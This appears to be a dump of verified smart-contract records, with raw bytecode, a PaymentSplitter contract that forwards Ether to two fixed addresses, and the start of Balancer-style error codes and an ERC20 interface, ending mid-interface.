905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220907c51f6b75d0a5fa608e47f71d471e63e154605a68adb01c7069f67f7aea00764736f6c634300060c0033
[ 38 ]
0xf3a3de78398aa532621b28897b445436ce6abec7
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20Upgradeable { using Address for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract PaymentSplitter { using SafeERC20Upgradeable for IERC20Upgradeable; /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { // 250/300 = 83.33%. uint256 primary = 2500*address(this).balance/3000; sendValue(payable(0x85295666273b3D1326f6965F19702A007b4caC07), primary); sendValue(payable(0x354A70969F0b4a4C994403051A81C2ca45db3615), address(this).balance); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function rescue(address token) external { if (token == address(0)) { sendValue(payable(0x85295666273b3D1326f6965F19702A007b4caC07), address(this).balance); } else { IERC20Upgradeable(token).safeTransfer(0x85295666273b3D1326f6965F19702A007b4caC07, IERC20Upgradeable(token).balanceOf(address(this))); } } }
0x6080604052600436106100225760003560e01c8063839006f21461008a57610085565b36610085576000610bb8476109c461003a91906105e7565b6100449190610670565b90506100647385295666273b3d1326f6965f19702a007b4cac07826100b3565b61008273354a70969f0b4a4c994403051a81c2ca45db3615476100b3565b50005b600080fd5b34801561009657600080fd5b506100b160048036038101906100ac9190610704565b6101a7565b005b804710156100f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100ed9061078e565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff168260405161011c906107df565b60006040518083038185875af1925050503d8060008114610159576040519150601f19603f3d011682016040523d82523d6000602084013e61015e565b606091505b50509050806101a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161019990610866565b60405180910390fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156101ff576101fa7385295666273b3d1326f6965f19702a007b4cac07476100b3565b6102b8565b6102b77385295666273b3d1326f6965f19702a007b4cac078273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102509190610895565b602060405180830381865afa15801561026d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061029191906108dc565b8373ffffffffffffffffffffffffffffffffffffffff166102bb9092919063ffffffff16565b5b50565b61033c8363a9059cbb60e01b84846040516024016102da929190610918565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610341565b505050565b60006103a3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166104089092919063ffffffff16565b905060008151111561040357808060200190518101906103c39190610979565b610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610a18565b60405180910390fd5b5b505050565b60606104178484600085610420565b90509392505050565b606082471015610465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045c90610aaa565b60405180910390fd5b61046e85610534565b6104ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a490610b16565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104d69190610ba5565b60006040518083038185875af1925050503d8060008114610513576040519150601f19603f3d011682016040523d82523d6000602084013e610518565b606091505b5091509150610528828286610547565b92505050949350505050565b600080823b905060008111915050919050565b60608315610557578290506105a7565b60008351111561056a5782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059e9190610c11565b60405180910390fd5b9392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006105f2826105ae565b91506105fd836105ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610636576106356105b8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061067b826105ae565b9150610686836105ae565b92508261069657610695610641565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006106d1826106a6565b9050919050565b6106e1816106c6565b81146106ec57600080fd5b50565b6000813590506106fe816106d8565b92915050565b60006020828403121561071a576107196106a1565b5b6000610728848285016106ef565b91505092915050565b600082825260208201905092915050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000610778601d83610731565b915061078382610742565b602082019050919050565b600060208201905081810360008301526107a78161076b565b9050919050565b600081905092915050565b50565b60006107c96000836107ae565b91506107d4826107b9565b600082019050919050565b60006107ea826107bc565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000610850603a83610731565b915061085b826107f4565b604082019050919050565b6000602082019050818103600083015261087f81610843565b9050919050565b61088f816106c6565b82525050565b60006020820190506108aa6000830184610886565b92915050565b6108b9816105ae565b81146108c457600080fd5b50565b6000815190506108d6816108b0565b92915050565b6000602082840312156108f2576108f16106a1565b5b6000610900848285016108c7565b91505092915050565b610912816105ae565b82525050565b600060408201905061092d6000830185610886565b61093a6020830184610909565b9392505050565b60008115159050919050565b61095681610941565b811461096157600080fd5b50565b6000815190506109738161094d565b92915050565b60006020828403121561098f5761098e6106a1565b5b600061099d84828501610964565b91505092915050565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b6000610a02602a83610731565b9150610a0d826109a6565b604082019050919050565b60006020820190508181036000830152610a31816109f5565b9050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b6000610a94602683610731565b9150610a9f82610a38565b604082019050919050565b60006020820190508181036000830152610ac381610a87565b9050919050565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b6000610b00601d83610731565b9150610b0b82610aca565b602082019050919050565b60006020820190508181036000830152610b2f81610af3565b9050919050565b600081519050919050565b60005b83811015610b5f578082015181840152602081019050610b44565b83811115610b6e576000848401525b50505050565b6000610b7f82610b36565b610b8981856107ae565b9350610b99818560208601610b41565b80840191505092915050565b6000610bb18284610b74565b915081905092915050565b600081519050919050565b6000601f19601f8301169050919050565b6000610be382610bbc565b610bed8185610731565b9350610bfd818560208601610b41565b610c0681610bc7565b840191505092915050565b60006020820190508181036000830152610c2b8184610bd8565b90509291505056fea26469706673582212209d777d50265d6e1cd5426809cf10a798d4aafb341df19c48c3bd02931534817964736f6c634300080a0033
[ 38 ]
0xF3a605DA753e9dE545841de10EA8bFfBd1Da9C75
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; // solhint-disable /** * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAL#" part is a known constant // (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312; uint256 internal constant ORACLE_NOT_INITIALIZED = 313; uint256 internal constant ORACLE_QUERY_TOO_OLD = 314; uint256 internal constant ORACLE_INVALID_INDEX = 315; uint256 internal constant ORACLE_BAD_SECS = 316; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); 